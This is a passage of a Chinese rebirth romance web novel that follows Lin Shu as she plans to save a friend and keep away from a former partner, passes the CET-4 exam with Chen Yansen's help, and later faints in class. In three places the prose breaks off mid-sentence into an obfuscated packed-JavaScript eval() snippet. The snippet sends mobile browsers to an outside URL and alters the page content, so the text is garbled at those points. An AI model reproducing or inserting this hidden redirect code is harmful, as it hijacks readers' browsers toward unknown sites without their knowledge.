陈彦森推开头盔上的镜片,眼睛弯弯,没有说话。 林舒似一拳打在棉花上,气呼呼地将头盔塞到陈彦森怀里转身就走,结果身子是向前走的,辫子却被拽在后头。 “干嘛。”她瞪了他一眼,“这次没有谢谢。” “那我给你道歉。”陈彦森狡黠地眨眨眼。 “行吧,”林舒双手交叉摆在胸前,“我大人有大量,原谅你了。” “那你原谅我了,能不能顺便回答我一个问题。” “你问。” 陈彦森问:“你能不能告诉我,为什么是2024年?” 11. 第四世(八) 林舒回到家里,抽出一张纸,写下: 第一世:死于2024年12月19日23:50; 第一次重生:回到2024年12月18日23:50,第二世:死于2024年12月19日23:50; 第二次重生:回到2024年12月16日16:30,第三世:死于2024年12月20日约00:40; 第三次重生:回到2015年9月14日16:30,现在她正在经历的是第四世。 第四世,她要做四件事情: 第一件事,救下李洛诗; 她推测李洛诗是在2023年被裁员后开始抑郁的。可惜那个时候她太忙了,给到李洛诗的关心实在太少。那天接到李洛诗的电话后,她一直在想:如果当初我能多关心她,她是不是就不会选择离开? 距离她抑郁还有八年,时间看似很长,但她需要从现在开始准备:首先,撮合李洛诗和刘沐鑫在一起,这条线不能乱;其次,引导她多多发掘自己的爱好,为毕业后职业发展铺路;最后,阻止她从事房地产行业。 第二件事,远离余嘉城,保住自己的性命; 过程有些曲折,但目前效果还算理想,继续保持。 第三件事,好好积德,争取下一世许愿成功或转世心仪物种; 这个战线也很长,当前目标是国庆后参加青协社团面试,争取进入社实部。 第四件事,阻止那场致使陈彦森残疾的车祸,或者保住陈彦森双脚。 这件事有点棘手。她知道的时候他已经失去了左腿,目前掌握的信息只知道是校车着火导致的,至于是什么时候发生、在哪发生一概不知。 林舒在第四件事前打上一个星号。 刚刚在家楼下,陈彦森问:“为什么是2024年?” 他戴着头盔,林舒看不清他的表情,但是他的眼神传递出的真诚深深触动了她。她能真切地感受到,这个人是真的在关心她。 于是她也认真回答他:“因为那是对我来说很重要的一年,会改变我人生的一年。” 他许久没说话,在她以为他不会再说话时,才缓缓道:“我明白了。” 她不知道他有没有听懂,也不知道他明白了什么,但她没有继续话题。点到为止,是成年人的必修课之一。 …… 国庆后,林舒回学校开启大学生活。 离校五年,她看着书本上密密麻麻的字,太阳穴突突跳。 苍天啊,她这一世不会挂科吧? 就在她被满满的课表折磨得萌生出想上班的念头时,她收到青协社团的面试通知。 她眼前一亮,瞬间精神。 面试不就是讲故事嘛,她可是专业的。 第一世跟客户打交道六年,这见人说人话见鬼说鬼话的功夫可不是盖的。 面前坐着五六个师兄师姐,按年龄算都是她的弟弟妹妹们。林舒内心毫无波澜,从善如流,意料之中地在三天后收到录取信息。 当时在摆摊遇到的师姐许家杭今年大二,是社实部副部长,她加上林舒微信后,将她拉进社实部的微信群中。 许家杭在群里发了个红包,寒暄两句,就布置了入社团后的第一个任务: 【明天到东门海滩捡垃圾,下午四点半在东门集合。收到请回复。】 下面回复一水的“收到”。 出社会久了,她都忘了原来从大一开始就有“收到”文化了,这一点跟打工还挺像。 她回复完“收到”,准备退出群聊时,猛然看到一个熟悉的头像淡淡飘出“收到”二字,一如他的人一样。 陈彦森? 哦对,她已经忘记摆摊的师兄跟她说过,陈彦森跟她报了同一个部门。 她立即点开他头像哐哐打字。 林舒:【你跟我报同个部门怎么没告诉我一声?】 陈彦森:【你现在知道了。挺巧的,我也刚知道。】 林舒:【我还以为你会对编程社之类的感兴趣呢。】 陈彦森:【人不可貌相,我对捡垃圾特别感兴趣。】 跟陈彦森熟络后,林舒发现他跟传闻中很不一样。 他并不冷漠,甚至可以说是非常热心,他会对九年未见的她施以援手,会在察觉到她害怕余嘉城后送她回宿舍,会贴心地给她送来电解质水,会在晚上聚餐后送她回家; 他并不顽劣,待人接物知礼节懂分寸; 他也并非不爱说话,甚至有些黑色幽默。 这些传闻,除了帅这一点,其他通通与他真实的一面不挂钩。 林舒不甘示弱:【那明天我可要跟你比一比,看谁捡的垃圾比较多。】 陈彦森:【赌注是什么?】 林舒:【如果你输了,你要给我买一个星期早餐。】 陈彦森:【那如果你输了呢?】 林舒:【不可能。】 她信心满满,甚至有些激动,恨不得现在就去海边捡垃圾,为自己猛猛加功德。 不知道会不会像系统文那样,每捡一个垃圾,就会有系统音提示“功德值+1”呢? 不知系统音是怎样的呢?可以自选吗?她觉得亡魂服中心门上的风铃声就挺好听的。 她一身牛劲没处使,在宿舍挥了挥拳,担心把舍友吵醒,便轻手轻脚地爬上床睡觉。 合眼前,她立誓:明天我要成为捡最多垃圾的女强人! 第二日,东门海边。 除了跃跃欲试的林舒,以及没什么表情的陈彦森,同批干事都蔫蔫的,提不起精神。 他们有的抱着对丰富校园生活的憧憬进入社团,幻想过上被师兄师姐捧在手心宠爱、吃喝玩乐的美好大学生活;有的抱着一展抱负的愿景进入社团,打算大展宏图为民请命,拯救人类于水火之中,实现自我人生价值。 此刻他们立在海边,看着海滩上的垃圾,都在等对方先动。 林舒高高兴兴地去领了属于自己的黑色垃圾袋、白色手套和垃圾夹,撸起袖子就是干。她先夹起一个矿泉水瓶扔进垃圾袋里,屏住呼吸,静待脑海中传来系统的声音。 一分钟过去了,没有想象中的系统音,更别说自定义系统音了。 看来她就是单纯重生了,没有带系统。 好吧,以前看这么多系统小说积累的经验都用不上了。她继续吭哧吭哧捡垃圾。 许家杭看着林舒忙碌的身影从海滩的这头移到那头,态度良好,动作麻利,有一双善于发现垃圾的眼睛。 她拖着垃圾袋跟上她,朝她背影喊:“林舒。” “师姐。”捡垃圾这么久,林舒第一次抬起头。 “累吗?”作为师姐,也作为副部长,许家杭认为自己有必要关心自己的小干事。 “不累。”她眼睛亮亮的,小脸被太阳晒得红扑扑,“师姐,还有其他义工活动吗?我还想参加。” 许家杭笑道:“这里的垃圾还没捡完,这么快就想着下一次呀?” 林舒认真道:“以前我没得选,现在我想做一个好人。” 许家杭被逗笑:“每年寒暑假都有支教活动,我们青协有三个名额。但因为报名人数众多,所以这三个名额也是需要面试择优的,且有一个硬性要求。” “什么要求?” 许家杭:“大一英语过四级,大二及以上要过六级。” 此刻阳光明媚,万里无云,海风徐徐,天气出奇的好,但林舒的世界挂起了八号风球。 妹妹,你在说什么?你知道我不学英语多少年了吗? 许家杭又说:“如果你高考英语分数超过115分,就可以参加今年12月的四级考试,否则要等到明年6月才能考。最理想的情况是你今年12月考四级,四级通过+面试通过,你就可以参加明年暑期的支教活动。” 英语高考分数? 林舒摆弄着手中的垃圾夹,苦苦回忆。 十秒之后—— 她放弃折磨自己,拿出手机想打开某书搜索在哪可以查高考成绩,才想起现在是2015年,某书还不是上知天文下知地理的干货神器,于是悻悻然打开某度。 一旁传来一个幽幽的声音:“你不会是忘了自己的英语高考成绩吧?” 林舒不用抬头都知道是陈彦森,心里正烦呢,没好气地说:“咋地,那你知道吗?” “142分。” “什么?” 陈彦森:“你去你们高三班群搜群文件。如果你没清理记录的话,大概率能找到一份有全级分数的文件。” 林舒重生回来后每天忙得脚打后脑勺,哪有时间去清理群消息,因此很顺利地找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738886|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这份成绩单。 因为她当年是文科第一,所以轻而易举地找到自己的名字,再找到英语那一列,果然是142分。 她心里念叨着这件事,回宿舍后问舍友们各科分数,发现她们的优势都在文综,英语没有达到115分。 完了。 林舒瘫倒在椅子上,手还在键盘上挣扎着输入关键词,找到历年考试真题,发现每个字母都认识,但是凑在一起就不知道是什么意思了。 第一世她从大四开始出去实习,也就是21岁到27岁这段时间里,她没再学习过英语,简单日常交流是没问题,但是应试的词汇语法早已还给老师。 她从书架上翻出一本单词本,“abandon,a-b-a-n-d-o-n,abandon.” 啪—— 林舒合上单词本。 她现在的英语水平就跟小学生差不多,不,可能还比不上六年级的学生懂的语法多。要真慢慢从第一个单词开始背,她可能到毕业都还没过四六级,得找个老师。 可是舍友们都不备考这次的四级考试,她可以找谁呢? 林舒再次打开成绩单,下午看的时候只看了文科班,现在打开理科表格,不禁瞪大眼睛。 陈彦森作为理科第一,英语成绩全年级第一,145分。 …… 陈彦森正在打游戏,右手执鼠标,左手在键盘上飞舞,到了关键时刻,他紧张地直起腰板,双眼紧盯屏幕。 “陈彦森,”舍友拍他肩膀,“楼下有人喊你。” “等一下。”他整个人如同钉在椅子上,一动不动。 刘沐鑫快步走过来,一把取下他的耳机。陈彦森刚要发作,就听到刘沐鑫说:“林舒找你。” 简单几个字让他的火气全消,陈彦森一愣:“在哪?” 刘沐鑫手指阳台:“楼下,喊半天了。” 陈彦森将键盘和鼠标往桌上一推,迅速起身冲到阳台。 现在是下午三四点的时候,阳光正盛。她没有站在荫蔽处,直挺挺地站在太阳直晒的地方,仰起脸,手搭在额头挡阳光。她的手臂纤长且细,肌肤雪白,在阳光照射下整个人都在发光。 鹅黄色连衣裙,肩上各有一个蝴蝶结,蝴蝶结的带子垂到手臂,因她动起来而摆动着,让人觉得她好似会飞的小精灵。一阵风吹来,裙子灌入风被撑开,将她整个人包裹住,这让她看起来像是缩小了一倍,似乎下一秒,她就会飞走。 “陈彦森。”女孩朝他挥挥手。 “你等着我,我马上下来。” 他三步并作两步飞快下楼,内心焦急,担心再晚一步,她就飞走了。 陈彦森疾步跑到楼下,看到林舒还在原地,松了一口气:“林舒。” “你怎么不给我打电话?” 林舒瘪了瘪嘴:“我打了七八个电话你都没接。李洛诗说你们今天下午没课,我就来这碰碰运气。” 陈彦森一摸口袋,刚刚下楼着急忘记带手机,有点不好意思:“我刚刚在打游戏,没留意手机。” “你昨天捡的垃圾比我多,按赌约我要请你一个星期早餐。那现在——”林舒的脑子转得飞快,“一笔勾销。” “行。”陈彦森低眸浅浅一笑,将她拉到树下阴凉处,“你今天来找我,不是为了这件事吧?” 林舒:“小女子确有一事相求。” “请说。” 林舒:“我想考四级,你可不可以做我老师?作为回报,无论是请你吃一个学期的早餐,帮你占座位,还是帮你送情书,我都可以。” 陈彦森一听,双手环抱在胸前,饶有兴致地看着她:“你的英语还需要我来辅导吗?” “需要,我现在英语水平回到小学三年级。陈老师,您真的要帮我。”林舒说着,水汪汪的眼睛一眨一眨。 陈彦森哪受得了她对自己撒娇,不自在地轻咳一声,眼睛从她脸上移开瞥向别处:“我不需要你做这些,我就有一个问题想问。” 林舒一怔:“又有问题要问?” “算是——上次那个问题的延续吧。” “是什么?”林舒也很好奇。 “我想问,”陈彦森说,“2024年冬至过后,你最想做的事情是什么?” 他急切又小心地,想要了解她多一点。 12. 第四世(九) “上次聚会,大家的愿望都是希望以后过上怎样的生活,只有你的愿望很简单。你说,你想跟爸爸妈妈一起过2024年冬至。我问你为什么是2024年,你说那是于你而言很重要的一年。” “所以我想知道,冬至过后,你是有什么重要的事情要做吗?”他担心林舒觉得被冒犯,尽力解释着。 这些年来,他一直记得高一那年,乌桕树下,她用力甩开那孕妇的手,仰起脸,一脸倔强。 她语气坚定:“我会报警的。” 他从那时开始留意她,也从那时开始对她心怀愧疚。他怨自己没有意识到危险,没有立即站出来帮她,害她险些遭遇不测。 他觉得自己配不上这样冷静勇敢的她。因此这些年来,他知晓她的心意,不愿打扰她,只默默站在暗处注视她、祝福她。 如今,她亲口告诉他,她不喜欢余嘉城了;她主动向他靠近,并且不抗拒他的接近。 她待他,像待一个朋友那样。 过去他已经错过一次机会,这次不能再错过了。 他想知道她的人生规划,想要参与进她的人生中。错失的那次机会、那些时光,他想要在日后弥补回来。 聪慧如她也许并不需要幕僚,但他愿意做她的臣子。 陈彦森把林舒问住了。 南苑人很注重冬至,认为冬大过年,冬至要一家人一起过。所以高中的时候,她带头要求级长允许他们请假回家过冬至。 这么多年来,她都在家里过冬至。 2024年冬至,是她第一次缺席。 所以重生三次,她的目标都是活下来,跟爸爸妈妈一起过冬至,从来没想过之后要做什么。 良久,她才缓缓道:“能不能换个问题?” 陈彦森静静看着她,轻声说:“如果觉得不方便说,也没关系。” “我不是不想回答,只是不知道怎么回答,我可能要……要再想想。”林舒话锋一转,“你真的有信心保我过四级?” 陈彦森勾了勾唇:“我有信心。” “如果过了的话,我一定好好回答你。” 陈彦森伸出小拇指:“拉勾,否则我怎么知道你是不是在骗我。” “幼稚至极。”林舒嘴上是这么说,却很顺从地伸出小拇指,“骗你会毁我修行,我才不做这种缺德事。你放心吧,我林舒说一不二。” 拉勾后,陈彦森说:“那行,明早八点,图书馆见。” …… 国庆后回来刚开始上课的时候,林舒看见密密麻麻的字会头疼。现在她看着一串串英文单词,觉得心脏隐隐作痛。 自重生后,她第二次想回去上班。 她盯着作文题目足足十分钟,抬头向坐在对面的陈彦森投去求助的眼神。后者眼神凌厉,示意她赶快动笔。 她一咬牙,提起笔刷刷写起来。 三分钟后,她停笔,将卷子推到陈彦森的面前,而后背靠椅子,翘起二郎腿。 陈彦森看了一眼寥寥三行的作文,再看她一副自信心爆棚的样子,怀疑自己是不是看错了,再次看一眼作文。 这真是高考英文142分该有的水平吗? 要不是她英语常考140分以上,他都不经要怀疑她成绩的真实性了。 思量过后,他压低嗓门,厉声道:“我不管你是谁,赶紧从林舒身上下来!” 林舒嘴角抽搐了一下,一下子被噎住了。她以为陈彦森会吐槽,会疑惑,但没想到他竟然怀疑她被鬼上身。 真是服了。 她实在没忍住翻了个白眼,抓起陈彦森的手啪啪拍了两下自己的脸:“是真人,活生生的真人。” 陈彦森皱眉看着卷子,发出灵魂拷问:“这看起来真的像小学三年级的水平啊。” 说完,他觉得这句话有点耳熟,抬起头对上林舒似笑非笑的表情。 “陈老师,我的四级靠你了。”她托着腮,手指敲着脸颊,一副看好戏的样子。 得,陈彦森举双手投降,他认栽。 接下来的日子里,林舒走路、吃饭、上厕所的时候都在背单词,一有闲暇时间就埋头做一张又一张的卷子。陈彦森只要没课都会去图书馆找她,把常用词组与写作好句抄成小册子给她背,到楼梯间给她讲解错题。 林舒毕竟曾是文科第一,学习和理解能力自然不差,经陈彦森悉心点拨,又有学霸自制复习资料,模拟考试一次比一次高分。 除了学习,林舒并没有忘记这次重生的任务,她时不时关注李洛诗和刘沐鑫的发展进度;每周日到养老院做义工,并在书包里放了个垃圾袋和手套,每天上课下课的路上看到垃圾就捡起来放进垃圾袋里。 对于林舒捡垃圾这一行为,李洛诗曾发表言论:“幸亏你长得好看,穿着得体,不然别人真以为你是个收破烂的。” 林舒也不做反应,她向来不在意他人眼光,更别说她知道多做善事于自身有益了。她每捡一片垃圾,都在脑海中自动给自己播报“功德值+1”,倒也自得其乐。 忙起来的时间过得特别快,眨眼到12月,林舒终于结束了四级考试。 过于紧绷的副作用是,紧绷着的弦一松,人就开始放纵。 林舒放纵的方式是,躺平。 接下来的半个月里,除了上课和做义工,其余时间她躺得很平,以至于李洛诗约她去跨年,她都不想动。 …… 跨年日。 林舒坐在江边二楼的清吧里,打了个哈欠。 她今天本来不想来跨年的,奈何李洛诗说这是跟刘沐鑫在一起后的第一个跨年,娘家人一定要在场。 事关李洛诗以后的人生轨迹,林舒做了痛苦的思想斗争,挣扎着从床上爬了起来。 林舒又打了个哈欠,她真的困,困得眼泪直流。泪水朦胧中,她看到对面小情侣在卿卿我我说悄悄话。 她对一旁给她倒饮料的陈彦森说:“陈老师,你知道你现在像什么吗?” “服务员?” “不,”林舒说,“你像李洛诗给我点的男模。” 陈彦森:“……” 林舒继续说:“她自己有伴了,担心好姐妹孤单寂寞冷,就点了你陪我解闷。” 陈彦森也不恼,反而用意味深长的眼神看她:“那我是不是要做点什么才配得上男模二字?” 林舒看着他的脸,视线慢慢下移,停在胸前,若有所思道:“你这衣服,看起来不好脱啊。” 脑袋被敲了下,她佯装吃痛,龇牙咧嘴道:“哎哟哟,痛痛痛痛。” 陈彦森根本没使劲,见她演得上瘾,嘴角不禁露出一抹宠溺的笑,声音很温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738887|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔:“碰瓷小鬼。” 他站起身往外走了两步,又折返,指着露台上的钢琴,问林舒:“想听什么?” 林舒回答乖巧:“老师弹什么我听什么。” 陈彦森走到钢琴边坐下,抬头看了林舒一眼,十指放在琴键上。 是花之舞。 这是林舒第二次听他弹这首曲子。 第一世时,因为无意间听到余嘉城弹这首她最喜欢的曲子,她开始关注他。在一起后,无论她说什么,他都不愿意再弹给她听,甚至说自己不会弹。 她突然觉得很感慨。第一世她花了绝大部分时间精力在一个不值得的人身上,不仅丢了自己,而且给到身边人的关注也少之又少。如今真正为自己而活,注重自身,才发觉天地之宽广。 一曲终了,陈彦森走回座位,看到她脸上有泪痕。他刚叫了她一声,还没来得及问,人群中突然有人开始倒数。起初是一两个声音,后面越来越多人加入,声音在开阔的江面显得更大声。 “5!” “4!” “3!” “2!” “1!” 随着大家喊出“新年快乐”,江面升起一朵又一朵盛大的烟花,流光溢彩,映照在每一个人的脸上,都是对新的一年的美好期许。 2016年来了。 林舒双手握在胸前,开始许愿:“希望李洛诗好好活着,希望陈彦森四肢健全健健康康,也希望我能活下去。” 她睁开眼睛,意料之外地跌入那双如水的深眸中。 “你怎么不许愿?”周围很吵,但两人挨得近,她不需要大声说话。 陈彦森说:“比起许愿,我更关心你刚刚怎么哭了。” 林舒看向夜空中的烟花,淡淡道:“小时候总觉得时间过得很慢,人生是由一个又一个学期组成的。过完一年级上学期,还有一年级下学期;长大后,人是盯着每年年终奖过日子的,人生被一年又一年的年终奖划分,有时候你都不知道自己做了什么,倏忽间一年就过去了。” 她看过一部电视剧,女主朋友A说:“你们不觉得过了三十岁之后,时间过得超快吗?” 女主朋友B说:“这个我有在书上看过,好像是因为一年的相对长度会变短。” “比方说,对三岁小孩来说,一年是人生的三分之一,但对于三十岁的人来说,一年不就只是人生的三十分之一吗?就是因为一年的相对长度会这样越来越短,才会觉得时间过得很快。” 林舒说:“因为觉得时间过得很快,快到已经有点追不上时间了,所以想好好珍惜当下,想好好活着。” 陈彦森盯了她好一会儿,才说:“你变多愁善感了。” 林舒点点头,不否认:“因为我长大了呀。” 当然,她是27岁的林舒呀。 说完,她觉得话题有些沉重了,便打趣道:“你这话说的,什么变多愁善感了,我们高中的时候又不熟。” 陈彦森:“你可是我们的年级第一,谁会不关注你?” 说起从前,林舒脸上的神采都丰富起来:“知道我的应该都是因为我被级长骂得多。不过,幸好有你,显得我乖巧些。” 两人并肩站在栏杆边,面前是绚烂的烟花,背后是喧嚣的人群。世界很吵,但他们只听得见彼此的声音。 13. 第四世(十) 二月,林舒查四级成绩,输入身份证号时手都在抖。 她深吸一口气,点下查询键。 623分! 过了!! 太好了!!! 下课后,林舒飞奔去二教,堵住从C区楼梯下来的陈彦森。 “老师!”女孩神采飞扬,笑容明媚。 陈彦森心一动,表面不动声色:“什么事这么开心?” “我过了!”林舒抓着他的手臂使劲摇晃,“老师,我过了!” 她一激动,一把揽过陈彦森的脖子,一边拖着他往前走一边说:“走,姐姐请你吃饭去。” 陈彦森本就比林舒高将近三十公分,为了配合她,他的腰都快弯成丰收时节的麦子,还要让自己说话气息保持平稳:“那我可得挑一家贵的吃。” “吃,放开吃。” 陈彦森选了一家烤肉店,刚进门坐下,隔壁桌就有人叫他们:“好巧啊!” 两人回头一看,是许家杭,她旁边还坐着一个女生。 看见是师姐,林舒眼睛都亮了,急急将好消息告诉她:“师姐,我四级过了!” “恭喜啊,”许家杭知道林舒很想去支教,替她高兴,“接下来好好准备面试。” 林舒:“师姐,我还想考个教师资格证,你觉得有需要吗?” 许家杭:“去支教是不需要教师资格证的,但是你有时间精力的话可以考,多个证以后也多个出路。” 两张桌子隔了个过道,林舒说话需探出半个身子,她还想继续跟许家杭说话,挪了挪椅子,身子又探出一点。 “小心。” 林舒被坐在身后的陈彦森一拉,身子自然往他怀里倒,紧接着,一个服务员用夹子夹着炭火从她面前走过。 要不是陈彦森眼疾手快将她拉过来,她可能就要被烫到了。 “抱歉抱歉。”服务员连声道歉。 许家杭见状,提议道:“要跟我们一桌吗?这样聊天更方便。” “我当然可以,”林舒看向许家杭旁边的女生,“你朋友方便吗?” 许家杭:“这我舍友,她叫小莫。” 小莫友好地跟他们打招呼:“一起吃吧。” 就这样,林舒和陈彦森搬到隔壁桌,与许家杭、小莫同桌吃饭。 饭桌上,主要是林舒和许家杭说话,小莫比较慢热,到了中后段才更多地参与到她们的话题中。 而陈彦森几乎没有说过话,他左手拿夹子右手拿剪刀,勤勤恳恳地给大家烤肉。 他们吃完又聊了会天,结账时林舒和许家杭争了起来。 林舒说:“我四级过了,我做东。” 许家杭说:“你四级过了,我给你庆祝下。” 两人互不相让,争执了好一会儿,最后以许家杭请吃烤肉、林舒请吃糖水落下帷幕。 林舒一个人到对面的糖水店买糖水,出来时看到许家杭站在门外,目视前方看得出神,连林舒靠近都不知道。林舒心生好奇,顺着她的视线望过去。 不远处,陈彦森和小莫站在一起,不知小莫说了什么,陈彦森摇了摇头,也说了什么。 第一次见面的男生女生单独说话,很难不让人多想。 林舒凑近许家杭:“师姐,是我想的那样吗?” 许家杭意味深长地嗯了一声:“没想到啊,小莫平时这么安静,关键时候还挺勇敢的。” 小莫接着说了一句话,转身离开。 走了? 林舒一愣,刚想追上去,被许家杭一把拦住。许家杭说:“给我吧。” “哦,哦……谢谢。”林舒没反应过来,脑子和手分开运作,手接到指令要将糖水递给许家杭,但其实她还没反应过来为什么要这么做。 许家杭接过糖水,急匆匆追上小莫,两人走远。 林舒这才意识到发生什么事,小跑到陈彦森旁边,试探性问:“你们刚刚在聊什么?” “没什么。”陈彦森接过她手中提着的糖水,没有看她的眼睛。 林舒追问:“是不是小莫要加你微信,但你没给?” 陈彦森还是没看她,轻轻应了一声。 “为什么不?就当多交个朋友啊。”林舒不理解。 陈彦森终于直视她的眼睛了,但她很难形容这双眼睛带着怎样的情绪,她读不懂。 他看了她一眼,自顾自地往前走。 林舒刚想跟上,身后有人喊她的名字:“林舒。” 她一下就认出声音的主人是谁,根本不想回头,抬脚就想走,结果那人快跑到她身前,又喊了一声:“林舒。” 林舒本能地后退一步,严肃提醒道:“余嘉城,你说过不会再找我的。” “我没有恶意。”余嘉城说着,向她走近一步。 林舒又退一步,一边左右看有什么东西可以拿起自卫,一边用余光留意他有没有再靠近自己。突然余光瞥见一个人影快速闪过,她本能抬手去挡,却发现自己挡住的是一个人的后背。 “陈彦森?”她呆呆地叫了一声。 他不是走远了吗? 此刻他就站在她面前,迎着她的恐惧,将充满安全感的后背毫无保留地留给她。 只听见他说:“余嘉城,成年人说话算话。” 余嘉城没预料到他会突然出现,稍稍一愣后,鼻子带着轻哼声说道:“林舒,我看你就是移情别恋了。” 有陈彦森在,林舒不那么害怕了,从陈彦森身后冒出一颗脑袋,反击道:“我是喜欢陈彦森,怎么了?” 此话一出,在场的两个男生都怔住了。 余嘉城原本是想跟林舒说说话,见陈彦森冲过来拦着忍不住醋意大发; 陈彦森更是像巨石阵中的石头一样,似乎已在此站立千年,岿然不动。 林舒没察觉到大家的变化,继续说:“心在我这,我想喜欢谁就喜欢谁,我想追求谁就追求谁。我可以喜欢你,可以追求你,同样我也可以不喜欢你,可以远离你,这是我的自由,你无权干涉我。” 余嘉城变得沮丧:“我没想到我们会变成这样,有点不甘心。” 晚风有点凉,林舒本就有鼻炎,风一吹鼻子更加不适,她摸了摸鼻子。 她闻到一股熟悉的香气。 第一世,第一次跟余嘉城牵手后,她从自己手上闻到过这道气味,淡淡的,像在夜空中被风吹起的绸缎,轻轻击打中心窝。 她曾听过一种说法:如果你喜欢一个人,你会闻到他身上独有的香气,而且只有你能闻到。 她一直以为,那是喜欢的味道。这在潜意识更是加重她对余嘉城的爱意。 可是现在,她又闻到了。 水果店旁有一个水龙头,是店家给顾客和过路人需要时使用的,她顾不上其他,跑到水龙头边,仔仔细细地冲刷着自己的手掌。 第一步,掌心对掌心揉搓;第二步,手指交叉,掌心对手背揉搓;第三步手指交叉,掌心对掌心揉搓;第四步,双手互握,相互揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无意间得知陈彦森的秘密,林舒思来想去,觉得自己得做点什么。 她主动提起:“之前你答应辅导我四级的时候,问我2024年冬至后最想做的是什么,我现在知道我想做什么了。” “我想去非洲看动物大迁徙。” 在亡魂服务中心,她第一次知道非洲行军蚁这个物种,很好奇它们在非洲的生活。 “你这算是,跟我,”陈彦森停顿一下,“交换秘密?” 小时候,快速与人建立良好关系,从而成为好朋友的方式就是交换秘密。秘密一旦交换,你们拥有对方的独家秘密,那是专属你们的小秘密,像暗号一般。 林舒:“这件事我只跟你说过,所以也算是吧。” “那我先要跟你说声对不起,”陈彦森突然后退几步与林舒拉开距离,“我骗了你——其实我没有喜欢的人。” 林舒:“?” “但就算不以交换秘密为目的,你也答应了要告诉我的。”陈彦森伸出小拇指,“拉过勾的。” “一码归一码,”林舒开始撸袖子,“你欺骗我感情是真。” 青春男女在空旷的校道上追逐打闹着,笑声远扬,青春气息铺满一路。 月亮弯弯,似乎在笑。 14. 第四世(十一) 南苑一年只有两个季节,4月便开始入夏的夏季和11月才开始入冬的冬季。这不,这外面太阳高高挂起,偌大的舞蹈室内一把风扇都没有,空气不流通。 这节是健美操课。 林舒觉得胸口很闷,有点喘不上气来,眼前明一阵暗一阵的,意识到自己不对劲,颤抖着举起手请假。 老师看到她脸色苍白,嘴唇泛白,连忙叫李洛诗陪她去校医室。 李洛诗一扶林舒的腰,发现她的后背全湿了:“林舒,你在冒冷汗。” 林舒无力地点点头,在李洛诗的搀扶下走去校医室。 舞蹈室距离校医室大概八分钟路程,但两人走了八分钟才走了一半路不到。 走着走着,林舒觉得太阳太刺眼了,想抬手挡一下太阳,但是手像灌了铅怎么都抬不起来。 “怎么了,是太晒了吗?”李洛诗刚想用手给她遮太阳,接着反应过来,“我这猪脑袋,应该带把伞的!” 刚好她们走到篮球场边,树荫底下有一张石凳,李洛诗扶着林舒坐下:“你在这等我一下,我回去那把太阳伞。” 说完,她以百米冲刺的速度跑回舞蹈室。 不得不说,李洛诗的速度是真的快,没多久,她就手持一把伞往回跑。林舒见状,便扶着椅背站起来,这不站还好,刚挺直腰,就听见“咚”一声,她感到一重物击中脑袋,顿时天旋地转,直挺挺地倒在地上失去知觉。 …… 林舒醒来时,觉得脑袋还是很痛。她挣扎着抬起手,想去拿枕头底下的手机。 旁边伸来一只手攥住她的手腕,伴随而来的是一把低沉有磁性的男声:“你想要什么?” 林舒偏头一看,陈彦森? 但她对于自己在不同的床上醒来、遇到意料之外的事情抱着极为平静的心态,不动声色地说:“我想拿手机看看时间。” 陈彦森从床头柜上拿起手机,点亮屏幕:2016年3月17日。 没有重生,时间没有错乱,看来她只是晕过去了。 好事。 陈彦森说:“刚刚我在旁边上篮球课,班上有个同学的篮球飞出去了,刚好砸到你头上。” 林舒会意:“所以是你背我过来的。” 陈彦森没说话,算是默认。 这时李洛诗拿着一杯水走进房内,林舒见状便想起身。 “别急别急,”李洛诗一个箭步冲到床边托住她的后背,另一只手还稳稳当当地拿着水杯,“你还在吊葡萄糖,慢慢来。” 听她这么说,林舒才低头去看手背,果真插着吊针。 李洛诗解释道:“医生说你低血糖,给你打点葡萄糖。” “哦。” 陈彦森脸色严肃,语气硬邦邦的:“你今天有吃东西吗?” “吃了。”林舒觉得自己不再多说点啥他的脸色会更难看,连忙补充,“不信你问她。” 李洛诗点头如捣蒜,“对,我跟她一起吃的。” “她减肥?”这次,陈彦森是对李洛诗说的。 李洛诗:“没有啊,她就吃正常量。” 陈彦森看向林舒,问:“你以前低血糖吗?” 林舒摇头,“没试过。” “那你是……”陈彦森犹豫了一下,还是往下说,“在经期吗?” 林舒一愣,没想到他想得那么细致,回答:“不在。” 陈彦森看了一眼吊瓶,开始收拾东西,“我现在去缴费,待会我带你去一趟医院。” 林舒惊得不禁直起腰:“为什么?” 陈彦森说:“你一没有低血糖史,二身体不在虚弱期,作息正常饮食规律,这么突然晕倒,肯定要做个全身检查才安心。” “我不想去。” 如果放在从前,她是不怕去医院的,但现在不一样了,她死过三次,而且这次重生很明显感觉到身体素质下降,甚至比不上27岁的身体。她担心真查出来什么,到时要怎么办呢? “这次刚好有我和李洛诗在你身边,如果下次只有你自己呢?如果你有什么事……”陈彦森停下手上的动作,“你的家人朋友要怎么面对?” 林舒看向他,不知是不是刚醒来眼花,她竟觉得他的眼眶微微泛红。 鬼使神差地,她点了点头。 